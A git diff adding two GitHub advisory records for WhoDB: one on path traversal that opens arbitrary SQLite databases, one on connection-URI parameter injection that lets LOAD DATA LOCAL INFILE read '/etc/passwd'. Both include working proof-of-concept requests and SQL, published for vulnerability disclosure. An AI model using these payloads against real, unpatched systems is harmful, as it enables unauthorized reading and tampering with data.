diff --git a/advisories/github-reviewed/2025/02/GHSA-9r4c-jwx3-3j76/GHSA-9r4c-jwx3-3j76.json b/advisories/github-reviewed/2025/02/GHSA-9r4c-jwx3-3j76/GHSA-9r4c-jwx3-3j76.json new file mode 100644 index 00000000000..6de4dd9b1a4 --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-9r4c-jwx3-3j76/GHSA-9r4c-jwx3-3j76.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9r4c-jwx3-3j76", + "modified": "2025-02-06T19:58:25Z", + "published": "2025-02-06T19:58:24Z", + "aliases": [ + "CVE-2025-24786" + ], + "summary": "WhoDB has a path traversal opening Sqlite3 database", + "details": "### Summary\n\nWhile the application only displays Sqlite3 databases present in the directory `/db`, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.\n\n### Details\n\nWhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in `/db/` (or alternatively `./tmp/` if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20\n\nIf no databases are present in the default directory, the UI indicates that the user is unable to open any databases:\n\n![2025-01-22-12-12-42](https://github.com/user-attachments/assets/98ffbcf6-907d-4f90-bf11-2c921b2d93b3)\n\nThe database file is an user-controlled value. This value is used in `.Join()` with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26\n\nNo checks are performed whether the database file that is eventually opened actually resides in the default directory `/db`.\n\nThis allows an attacker to use path traversal (`../../`) in order to open any Sqlite3 database present on the system. \n\n### PoC\n\nBefore running the container, an example Sqlite3 database with dummy \"secret\" data was created:\n```sh\nDB_FILE=$(mktemp)\necho \"CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')\" | sqlite3 \"$DB_FILE\"\n```\n\nThe container was then created with nothing mounted into `/db`, and the dummy database mounted into `/etc/secret.db`:\n```sh\npodman run -d -p 8080:8080 -v \"$DB_FILE\":/etc/secret.db docker.io/clidey/whodb\n```\n\nThe attacker sends a HTTP request to determine whether the `secret.db` is accessible by setting the `Database` value to `../etc/secret.db`:\n```http\nPOST /api/query HTTP/1.1\nHost: localhost:8080\ncontent-type: application/json\n...\n\n{\"operationName\":\"Login\",\"variables\":{\"credentials\":{\"Type\":\"Sqlite3\",\"Hostname\":\"\",\"Database\":\"../etc/secret.db\",\"Username\":\"\",\"Password\":\"\",\"Advanced\":[]}},\"query\":\"mutation Login($credentials: LoginCredentials!) {\\n Login(credentials: $credentials) {\\n Status\\n __typename\\n }\\n}\"}\n```\n\nThe server response indicates that the database was successfully opened:\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\nSet-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly\n...\n\n{\"data\":{\"Login\":{\"Status\":true,\"__typename\":\"StatusResponse\"}}}\n```\n\nThe `Set-Cookie` `Token` value is simply a Base64-encoded string with a JSON payload containing the connection details:\n```json\n{\n \"Type\": \"Sqlite3\",\n \"Hostname\": \"\",\n \"Username\": \"\",\n \"Password\": \"\",\n \"Database\": \"../etc/secret.db\"\n}\n``` \n\nThe attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the `Database` value to `../etc/secret.db`.\n\nDoing so, the attacker can then browse the database, its tables and the data within:\n\n![2025-01-22-12-36-25](https://github.com/user-attachments/assets/c28f1273-7a3c-49e8-bb73-d08a09c7521d)\n\nThe attacker may also insert or modify data using either the buttons presented in the UI or the _Scratchpad_ functionality. In this proof-of-concept, the attacker inserts a new row using the _Add Row_ button:\n\n![2025-01-22-12-36-49](https://github.com/user-attachments/assets/dbd86beb-9969-464c-9a28-a19d470d0f52)\n\n### Impact\n\nAllows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.\n\nThe attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.\n\n### Recommendations\n\nBefore attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/clidey/whodb/core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.0-20250127172032-547336ac73c8" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76" + }, + { + "type": "WEB", + "url": "https://github.com/clidey/whodb/commit/547336ac73c8d17929c18c3941c0d5b0099753cc" + }, + { + "type": "PACKAGE", + "url": "https://github.com/clidey/whodb" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-02-06T19:58:24Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/02/GHSA-c7w4-9wv8-7x7c/GHSA-c7w4-9wv8-7x7c.json b/advisories/github-reviewed/2025/02/GHSA-c7w4-9wv8-7x7c/GHSA-c7w4-9wv8-7x7c.json new file mode 100644 index 00000000000..2159256fc24 --- /dev/null +++ b/advisories/github-reviewed/2025/02/GHSA-c7w4-9wv8-7x7c/GHSA-c7w4-9wv8-7x7c.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-c7w4-9wv8-7x7c", + "modified": "2025-02-06T19:58:37Z", + "published": "2025-02-06T19:58:37Z", + "aliases": [ + "CVE-2025-24787" + ], + "summary": "WhoDB allows parameter injection in DB connection URIs leading to local file inclusion", + "details": "### Summary\n\nThe application is vulnerable to parameter injection in database connection strings, which allows an attacker to read local files on the machine the application is running on.\n\n### Details\n\nThe application uses string concatenation to build database connection URIs which are then passed to corresponding libraries responsible for setting up the database connections.\n\nThis string concatenation is done unsafely and without escaping or encoding the user input. This allows an user, in many cases, to inject arbitrary parameters into the URI string. These parameters can be potentially dangerous depending on the libraries used.\n\nOne of these dangerous parameters is `allowAllFiles` in the library `github.com/go-sql-driver/mysql`. Should this be set to `true`, the library enables running the `LOAD DATA LOCAL INFILE` query on any file on the host machine (in this case, the machine that WhoDB is running on). Source: https://github.com/go-sql-driver/mysql/blob/7403860363ca112af503b4612568c3096fecb466/infile.go#L128\n\nBy injecting `&allowAllFiles=true` into the connection URI and connecting to any MySQL server (such as an attacker-controlled one), the attacker is able to read local files.\n\n### PoC\n\nAs this vulnerability does not require sending requests manually and can all be done using the WhoDB UI, screenshots are provided instead of HTTP requests.\n\nFor this proof-of-concept, a clean instance of WhoDB and MySQL were set up using podman (docker is a suitable alternative):\n\n```\npodman network create whodb-poc\npodman run -d -p 8080:8080 --network whodb-poc docker.io/clidey/whodb\npodman run -d --name mysql -e MYSQL_ROOT_PASSWORD=password --network whodb-poc docker.io/mysql:9\n```\n\nThe attacker connects to the database via WhoDB. Note that in the `Loc` field, the string `&allowAllFiles=true` is inserted:\n\n![2025-01-21-13-28-08](https://github.com/user-attachments/assets/28709707-97e4-4d26-b61c-5462db6dd43f)\n\nAfter connecting, the attacker navigates to the scratchpad in `/scratchpad`.\n\nThe attacker first creates a demo table:\n```sql\nCREATE TABLE poc (\n line TEXT\n);\n```\n\nThe attacker then enables loading files from the server side. For the sake of clarity, do note that while this is required, the file is not being read from the remote server where MySQL is running, but the local machine that WhoDB is running on.\n```sql\nSET GLOBAL local_infile=1;\n```\n\nThe attacker then uses the `LOAD DATA LOCAL INFILE` statement to read the contents of `/etc/passwd` (in this case from inside the container where WhoDB is running) into the previously created table:\n```sql\nLOAD DATA LOCAL INFILE '/etc/passwd'\nINTO TABLE poc\nFIELDS TERMINATED BY '\\0'\nLINES TERMINATED BY '\\n';\n```\n\nThe attacker then navigates to the `poc` table in the _Tables_ view and observes that the file has been read successfully:\n\n![2025-01-21-14-04-47](https://github.com/user-attachments/assets/c8f499ce-0d40-49ba-a2c6-fe2d12c677c5)\n\n### Impact\n\nWhile this proof-of-concept demonstrates local file inclusion, the root cause of the issue is the unsafe construction of database connection URIs from user input. Not all database connector libraries used in WhoDB were inspected; there may be libraries which allow for even more impactful parameters.\n\nThe attack requires no user authentication to WhoDB (only authentication to any database server, such as an attacker-controlled one) and no special configuration - the default configuration of the application is vulnerable.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/clidey/whodb/core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.0-20250127202645-8d67b767e005" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/clidey/whodb/security/advisories/GHSA-c7w4-9wv8-7x7c" + }, + { + "type": "WEB", + "url": "https://github.com/clidey/whodb/commit/8d67b767e00552e5eba2b1537179b74bfa662ee1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/clidey/whodb" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-943" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-02-06T19:58:37Z", + "nvd_published_at": null + } +} \ No newline at end of file